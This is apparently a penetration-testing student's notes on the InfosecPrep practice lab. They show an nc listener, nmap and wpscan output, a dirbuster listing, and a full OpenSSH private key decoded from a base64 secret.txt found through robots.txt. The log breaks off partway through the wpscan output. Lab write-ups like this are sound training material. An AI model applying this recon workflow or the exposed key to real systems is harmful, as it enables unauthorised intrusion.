InfosecPrep
June 21st, 2023
#Prep
set up nc -nlvp 4444
#Enumeration
Assume netdiscover + subnet ping scan
Target: 192.168.204.89
##Nmap
→ nmap -p- -sV -sC --open -T4 192.168.204.89 -oN InfoSecPrep_nmap.txt 15:19:09
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-21 15:19 GMT
Nmap scan report for 192.168.195.89
Host is up (0.046s latency).
Not shown: 64339 closed tcp ports (conn-refused), 1193 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91ba0dd43905e31355578f1b4690dbe4 (RSA)
| 256 0f35d1a131f2f6aa75e81701e71ed1d5 (ECDSA)
|_ 256 aff153ea7b4dd7fad8de0df228fc86d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/secret.txt
|_http-title: OSCP Voucher – Just another WordPress site
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.93%I=7%D=6/21%Time=6493151F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.79 seconds
/secret.txt found
##Website
Ah the site finally loaded after the OSCP labs stopped crashing. It's a wordpress site about the OSCP
http://192.168.204.89/secret.txt
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUJsd0FBQUFkemMyZ3RjbgpOaEFBQUFB
d0VBQVFBQUFZRUF0SENzU3pIdFVGOEs4dGlPcUVDUVlMcktLckNSc2J2cTZpSUc3UjlnMFdQdjl3
K2drVVdlCkl6QlNjdmdsTEU5ZmxvbHNLZHhmTVFRYk1WR3FTQURuWUJUYXZhaWdRZWt1ZTBiTHNZ
ay9yWjVGaE9VUlpMVHZkbEpXeHoKYklleUM1YTVGMERsOVVZbXpDaGU0M3owRG8waVF3MTc4R0pV
UWFxc2NMbUVhdHFJaVQvMkZrRitBdmVXM2hxUGZicnc5dgpBOVFBSVVBM2xlZHFyOFhFelkvL0xx
MCtzUWcvcFV1MEtQa1kxOGk2dm5maVlIR2t5VzFTZ3J5UGg1eDlCR1RrM2VSWWNOCnc2bURiQWpY
S0tDSEdNK2RubkdOZ3ZBa3FUK2daV3ovTXB5MGVrYXVrNk5QN05Dek9STnJJWEFZRmExcld6YUV0
eXBId1kKa0NFY2ZXSkpsWjcrZmNFRmE1QjdnRXd0L2FLZEZSWFBRd2luRmxpUU1ZTW1hdThQWmJQ
aUJJcnh0SVlYeTNNSGNLQklzSgowSFNLditIYktXOWtwVEw1T29Ba0I4ZkhGMzB1alZPYjZZVHVj
MXNKS1dSSElaWTNxZTA4STJSWGVFeEZGWXU5b0x1ZzBkCnRIWWRKSEZMN2NXaU52NG1SeUo5UmNy
aFZMMVYzQ2F6TlpLS3dyYVJBQUFGZ0g5SlFMMS9TVUM5QUFBQUIzTnphQzF5YzIKRUFBQUdCQUxS
d3JFc3g3VkJmQ3ZMWWpxaEFrR0M2eWlxd2tiRzc2dW9pQnUwZllORmo3L2NQb0pGRm5pTXdVbkw0
SlN4UApYNWFKYkNuY1h6RUVHekZScWtnQTUyQVUycjJvb0VIcExudEd5N0dKUDYyZVJZVGxFV1Mw
NzNaU1ZzYzJ5SHNndVd1UmRBCjVmVkdKc3dvWHVOODlBNk5Ja01OZS9CaVZFR3FySEM1aEdyYWlJ
ay85aFpCZmdMM2x0NGFqMzI2OFBid1BVQUNGQU41WG4KYXEvRnhNMlAveTZ0UHJFSVA2Vkx0Q2o1
R05mSXVyNTM0bUJ4cE1sdFVvSzhqNGVjZlFSazVOM2tXSERjT3BnMndJMXlpZwpoeGpQblo1eGpZ
THdKS2svb0dWcy96S2N0SHBHcnBPalQrelFzemtUYXlGd0dCV3RhMXMyaExjcVI4R0pBaEhIMWlT
WldlCi9uM0JCV3VRZTRCTUxmMmluUlVWejBNSXB4WllrREdESm1ydkQyV3o0Z1NLOGJTR0Y4dHpC
M0NnU0xDZEIwaXIvaDJ5bHYKWktVeStUcUFKQWZIeHhkOUxvMVRtK21FN25OYkNTbGtSeUdXTjZu
dFBDTmtWM2hNUlJXTHZhQzdvTkhiUjJIU1J4UyszRgpvamIrSmtjaWZVWEs0VlM5VmR3bXN6V1Np
c0sya1FBQUFBTUJBQUVBQUFHQkFMQ3l6ZVp0SkFwYXFHd2I2Y2VXUWt5WFhyCmJqWmlsNDdwa05i
VjcwSldtbnhpeFkzMUtqckRLbGRYZ2t6TEpSb0RmWXAxVnUrc0VUVmxXN3RWY0JtNU1abVFPMWlB
cEQKZ1VNemx2RnFpRE5MRktVSmRUajdmcXlPQVhEZ2t2OFFrc05tRXhLb0JBakduTTl1OHJSQXlq
NVBObzF3QVdLcENMeElZMwpCaGRsbmVOYUFYRFYvY0tHRnZXMWFPTWxHQ2VhSjBEeFNBd0c1Snlz
NEtpNmtKNUVrZldvOGVsc1VXRjMwd1FrVzl5aklQClVGNUZxNnVkSlBubUVXQXB2THQ2MkllVHZG
cWcrdFB0R25WUGxlTzNsdm5DQkJJeGY4dkJrOFd0b0pWSmRKdDNoTzhjNGoKa010WHN2TGdSbHZl
MWJaVVpYNU15bUhhbE4vTEExSXNvQzRZa2cvcE1nM3M5Y1lSUmttK0d4aVVVNWJ2OWV6d000Qm1r
bwpRUHZ5VWN5ZTI4endrTzZ0Z1ZNWng0b3NySW9OOVd0RFVVZGJkbUQyVUJaMm4zQ1pNa09WOVhK
eGVqdTUxa0gxZnM4cTM5ClFYZnhkTmhCYjNZcjJSakNGVUxEeGh3RFNJSHpHN2dmSkVEYVdZY09r
TmtJYUhIZ2FWN2t4enlwWWNxTHJzMFM3QzRRQUEKQU1FQWhkbUQ3UXU1dHJ0QkYzbWdmY2RxcFpP
cTYrdFc2aGttUjBoWk5YNVo2Zm5lZFV4Ly9RWTVzd0tBRXZnTkNLSzhTbQppRlhsWWZnSDZLLzVV
blpuZ0Viak1RTVRkT09sa2JyZ3BNWWloK1pneXZLMUxvT1R5TXZWZ1Q1TE1nakpHc2FRNTM5M00y
CnlVRWlTWGVyN3E5ME42VkhZWERKaFVXWDJWM1FNY0NxcHRTQ1MxYlNxdmttTnZoUVhNQWFBUzhB
SncxOXFYV1hpbTE1U3AKV29xZGpvU1dFSnhLZUZUd1VXN1dPaVlDMkZ2NWRzM2NZT1I4Um9yYm1H
bnpkaVpneFpBQUFBd1FEaE5YS21TMG9WTWREeQozZktaZ1R1d3I4TXk1SHlsNWpyYTZvd2ovNXJK
TVVYNnNqWkVpZ1phOTZFamNldlpKeUdURjJ1Vjc3QVEyUnF3bmJiMkdsCmpkTGtjMFl0OXVicVNp
a2Q1ZjhBa1psWkJzQ0lydnVEUVpDb3haQkd1RDJEVVd6T2dLTWxmeHZGQk5RRitMV0ZndGJyU1AK
T2dCNGloZFBDMSs2RmRTalFKNzdmMWJOR0htbjBhbW9pdUpqbFVPT1BMMWNJUHp0MGh6RVJMajJx
djlEVWVsVE9VcmFuTwpjVVdyUGdyelZHVCtRdmtrakdKRlgrcjh0R1dDQU9RUlVBQUFEQkFNMGNS
aERvd09GeDUwSGtFK0hNSUoyalFJZWZ2d3BtCkJuMkZONmt3NEdMWmlWY3FVVDZhWTY4bmpMaWh0
RHBlZVN6b3BTanlLaDEwYk53UlMwREFJTHNjV2c2eGMvUjh5dWVBZUkKUmN3ODV1ZGtoTlZXcGVy
ZzRPc2lGWk1wd0txY01sdDhpNmxWbW9VQmpSdEJENGc1TVlXUkFOTzBOajlWV01UYlc5UkxpUgpr
dW9SaVNoaDZ1Q2pHQ0NIL1dmd0NvZjllbkNlajRIRWo1RVBqOG5aMGNNTnZvQVJxN1ZuQ05HVFBh
bWNYQnJmSXd4Y1ZUCjhuZksyb0RjNkxmckRtalFBQUFBbHZjMk53UUc5elkzQT0KLS0tLS1FTkQg
T1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==
Base64 found. Converts to an SSH private Key
-----BEGIN OPENSSH PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----
Now to find a user
...Reading the site reveals the user is "oscp"
##Dirbuster
→ dirbuster 15:31:31
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /index.php/sample-page/ - 200
Dir found: /index.php/2020/ - 200
Dir found: /index.php/2020/07/ - 200
File found: /index.php/index.php - 200
Dir found: /index.php/2020/07/09/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/ - 200
Dir found: /index.php/sample-page/2006/ - 200
Dir found: /index.php/author/admin/ - 200
Dir found: /index.php/sample-page/12/ - 200
Dir found: /index.php/2020/07/09/hello-world/ - 200
File found: /wp-login.php - 200
Dir found: /index.php/feed/ - 200
Dir found: /index.php/sample-page/11/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2006/ - 200
Dir found: /index.php/sample-page/10/ - 200
Dir found: /index.php/comments/feed/ - 200
Dir found: /wp-content/ - 200
Dir found: /wp-content/themes/ - 200
Dir found: /index.php/sample-page/2005/ - 200
Dir found: /wp-includes/ - 200
Dir found: /index.php/2020/07/09/hello-world/2006/ - 200
File found: /wp-content/themes/index.php - 200
Dir found: /index.php/2020/07/09/oscp-voucher/12/ - 200
Dir found: /wp-content/themes/twentytwenty/assets/ - 200
File found: /wp-content/index.php - 200
Dir found: /wp-includes/images/ - 200
Dir found: /index.php/2020/07/09/hello-world/12/ - 200
Dir found: /wp-content/themes/twentytwenty/assets/js/ - 200
Dir found: /wp-includes/js/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/11/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/10/ - 200
Dir found: /index.php/2020/07/09/hello-world/11/ - 200
Dir found: /index.php/sample-page/2/ - 200
Dir found: /wp-content/themes/twentytwenty/assets/css/ - 200
Dir found: /index.php/2020/07/09/hello-world/10/ - 200
Dir found: /wp-content/themes/twentytwenty/assets/images/ - 200
File found: /wp-content/themes/twentytwenty/assets/js/index.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2005/ - 200
Dir found: /wp-includes/js/jquery/ - 200
File found: /wp-includes/js/wp-embed.min.js - 200
File found: /wp-content/themes/twentytwenty/assets/css/editor-style-block-rtl.css - 200
Dir found: /index.php/2020/07/09/hello-world/2005/ - 200
Dir found: /wp-includes/images/crystal/ - 200
File found: /wp-content/themes/twentytwenty/assets/js/color-calculations.js - 200
Dir found: /wp-content/themes/twentytwenty/assets/fonts/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2/ - 200
Dir found: /wp-content/themes/twentytwenty/assets/fonts/inter/ - 200
Dir found: /index.php/2020/07/09/hello-world/2/ - 200
File found: /wp-includes/images/crystal/license.txt - 200
Dir found: /wp-includes/images/media/ - 200
File found: /wp-content/themes/twentytwenty/assets/js/customize-controls.js - 200
Dir found: /index.php/sample-page/3/ - 200
Dir found: /index.php/sample-page/13/ - 200
Dir found: /index.php/sample-page/14/ - 200
Dir found: /index.php/sample-page/4/ - 200
File found: /wp-content/themes/twentytwenty/assets/css/editor-style-block.css - 200
File found: /wp-includes/js/jquery/jquery-migrate.js - 200
Dir found: /index.php/sample-page/15/ - 200
Dir found: /index.php/2020/07/09/hello-world/3/ - 200
File found: /wp-includes/js/jquery/jquery.js - 200
Dir found: /index.php/2020/07/09/hello-world/13/ - 200
Dir found: /index.php/2020/07/09/hello-world/4/ - 200
File found: /wp-includes/js/jquery/jquery-migrate.min.js - 200
Dir found: /index.php/sample-page/16/ - 200
Dir found: /index.php/2020/07/09/hello-world/14/ - 200
File found: /wp-content/themes/twentytwenty/assets/css/editor-style-classic-rtl.css - 200
Dir found: /index.php/sample-page/2004/ - 200
Dir found: /index.php/sample-page/18/ - 200
File found: /wp-content/themes/twentytwenty/assets/fonts/inter/Inter-italic-var.woff2 - 200
File found: /wp-content/themes/twentytwenty/assets/js/customize-preview.js - 200
Dir found: /wp-includes/images/smilies/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/3/ - 200
Dir found: /index.php/2020/07/09/hello-world/15/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/13/ - 200
Dir found: /index.php/2020/07/09/hello-world/16/ - 200
Dir found: /index.php/2020/07/09/hello-world/2004/ - 200
Dir found: /index.php/2020/07/09/hello-world/18/ - 200
File found: /wp-content/themes/twentytwenty/assets/js/customize.js - 200
Dir found: /wp-includes/images/wlw/ - 200
File found: /wp-content/themes/twentytwenty/assets/fonts/inter/Inter-upright-var.woff2 - 200
Dir found: /index.php/2020/07/09/oscp-voucher/4/ - 200
Dir found: /index.php/sample-page/21/ - 200
Dir found: /index.php/sample-page/20/ - 200
Dir found: /index.php/2020/07/09/hello-world/22/ - 200
Dir found: /index.php/2020/07/09/hello-world/20/ - 200
Dir found: /index.php/2020/07/09/hello-world/21/ - 200
Dir found: /index.php/2020/07/09/hello-world/5/ - 200
Dir found: /index.php/2020/07/09/hello-world/6/ - 200
File found: /wp-content/themes/twentytwenty/assets/css/editor-style-classic.css - 200
File found: /wp-includes/js/jquery/jquery.color.min.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/14/ - 200
Dir found: /index.php/2020/07/09/hello-world/19/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/15/ - 200
File found: /wp-includes/js/zxcvbn-async.min.js - 200
Dir found: /wp-content/themes/twentytwenty/templates/ - 200
Dir found: /index.php/sample-page/5/ - 200
Dir found: /index.php/sample-page/22/ - 200
File found: /wp-includes/js/jquery/jquery.form.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/16/ - 200
Dir found: /index.php/sample-page/6/ - 200
Dir found: /index.php/2020/07/09/hello-world/24/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/18/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2004/ - 200
Dir found: /index.php/sample-page/19/ - 200
File found: /wp-includes/category.php - 200
File found: /wp-content/themes/twentytwenty/assets/js/editor-script-block.js - 200
Dir found: /index.php/2020/07/09/hello-world/2007/ - 200
Dir found: /index.php/2020/07/09/hello-world/23/ - 200
Dir found: /index.php/0/ - 200
Dir found: /index.php/2020/07/09/feed/ - 200
Dir found: /index.php/sample-page/24/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/20/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/5/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/21/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/22/ - 200
File found: /wp-content/themes/twentytwenty/assets/js/skip-link-focus-fix.js - 200
Dir found: /index.php/2020/07/09/hello-world/17/ - 200
Dir found: /index.php/2020/07/09/hello-world/26/ - 200
Dir found: /index.php/2020/07/09/hello-world/27/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/6/ - 200
Dir found: /index.php/2020/07/09/hello-world/9/ - 200
Dir found: /index.php/2020/7/ - 200
Dir found: /index.php/sample-page/2007/ - 200
Dir found: /index.php/2020/07/09/hello-world/30/ - 200
File found: /wp-includes/js/jquery/jquery.form.min.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/19/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/24/ - 200
Dir found: /index.php/sample-page/23/ - 200
Dir found: /index.php/sample-page/17/ - 200
Dir found: /index.php/sample-page/26/ - 200
Dir found: /index.php/2020/07/9/ - 200
Dir found: /index.php/sample-page/27/ - 200
Dir found: /index.php/2020/0/ - 200
Dir found: /index.php/sample-page/30/ - 200
Dir found: /index.php/sample-page/9/ - 200
File found: /wp-includes/js/jquery/jquery.hotkeys.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2007/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/23/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/17/ - 200
Dir found: /index.php/2020/07/09/hello-world/29/ - 200
Dir found: /index.php/2020/feed/ - 200
Dir found: /index.php/sample-page/29/ - 200
Dir found: /index.php/sample-page/28/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/27/ - 200
Dir found: /index.php/2020/07/09/hello-world/28/ - 200
Dir found: /index.php/sample-page/7/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/26/ - 200
Dir found: /index.php/2020/07/09/hello-world/7/ - 200
Dir found: /index.php/2020/07/09/hello-world/0/ - 200
Dir found: /index.php/2020/07/09/hello-world/25/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/9/ - 200
Dir found: /index.php/2020/07/09/hello-world/feed/ - 200
Dir found: /index.php/sample-page/25/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/30/ - 200
Dir found: /index.php/sample-page/0/ - 200
File found: /wp-includes/js/jquery/jquery.hotkeys.min.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/29/ - 200
Dir found: /index.php/2020/07/feed/ - 200
Dir found: /index.php/2020/07/0/ - 200
Dir found: /index.php/sample-page/10/feed/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/28/ - 200
Dir found: /wp-admin/js/ - 200
Dir found: /index.php/sample-page/feed/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/7/ - 200
Dir found: /wp-admin/images/ - 200
File found: /wp-includes/js/jquery/jquery.masonry.min.js - 200
Dir found: /index.php/sample-page/8/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/25/ - 200
Dir found: /index.php/sample-page/11/feed/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/0/ - 200
Dir found: /index.php/2020/07/09/hello-world/8/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/feed/ - 200
Dir found: /index.php/author/admin/feed/ - 200
File found: /wp-includes/js/jquery/jquery.query.js - 200
File found: /wp-admin/js/password-strength-meter.min.js - 200
Dir found: /index.php/sample-page/2005/feed/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/8/ - 200
File found: /wp-includes/js/jquery/jquery.schedule.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2006/feed/ - 200
Dir found: /index.php/2020/7/09/ - 200
File found: /wp-includes/js/underscore.min.js - 200
File found: /wp-includes/js/jquery/jquery.serialize-object.js - 200
Dir found: /index.php/sample-page/2003/ - 200
File found: /wp-includes/js/jquery/jquery.table-hotkeys.js - 200
File found: /wp-includes/js/wp-util.min.js - 200
Dir found: /index.php/2020/07/09/oscp-voucher/12/feed/ - 200
File found: /wp-includes/js/jquery/jquery.table-hotkeys.min.js - 200
File found: /wp-admin/js/user-profile.min.js - 200
Dir found: /index.php/2020/07/09/hello-world/12/feed/ - 200
Dir found: /index.php/sample-page/2006/feed/ - 200
Dir found: /index.php/2020/07/09/hello-world/2003/ - 200
File found: /wp-includes/js/jquery/jquery.ui.touch-punch.js - 200
File found: /wp-includes/js/jquery/suggest.js - 200
Dir found: /index.php/sample-page/12/feed/ - 200
Dir found: /index.php/sample-page/09/feed/ - 200
File found: /wp-includes/js/jquery/suggest.min.js - 200
Dir found: /wp-includes/js/jquery/ui/ - 200
Dir found: /index.php/2020/07/09/hello-world/2006/feed/ - 200
Dir found: /index.php/2020/07/09/hello-world/1/feed/ - 200
Dir found: /index.php/2020/07/09/oscp-voucher/2003/ - 200
Dir found: /index.php/2020/07/09/hello-world/10/feed/ - 200
Dir found: /index.php/sample-page/1/feed/ - 200
File found: /wp-includes/user.php - 200
TMI since it's a WP site. This is what wpscan is for.
Had to grep out the results with grep -e "- 200"
##wpscan
Remember the --enumerate flag is SUPER important!
→ wpscan --url http://192.168.204.89 --enumerate 15:40:06
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.204.89/ [192.168.204.89]
[+] Started: Wed Jun 21 15:40:16 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://192.168.204.89/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.204.89/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
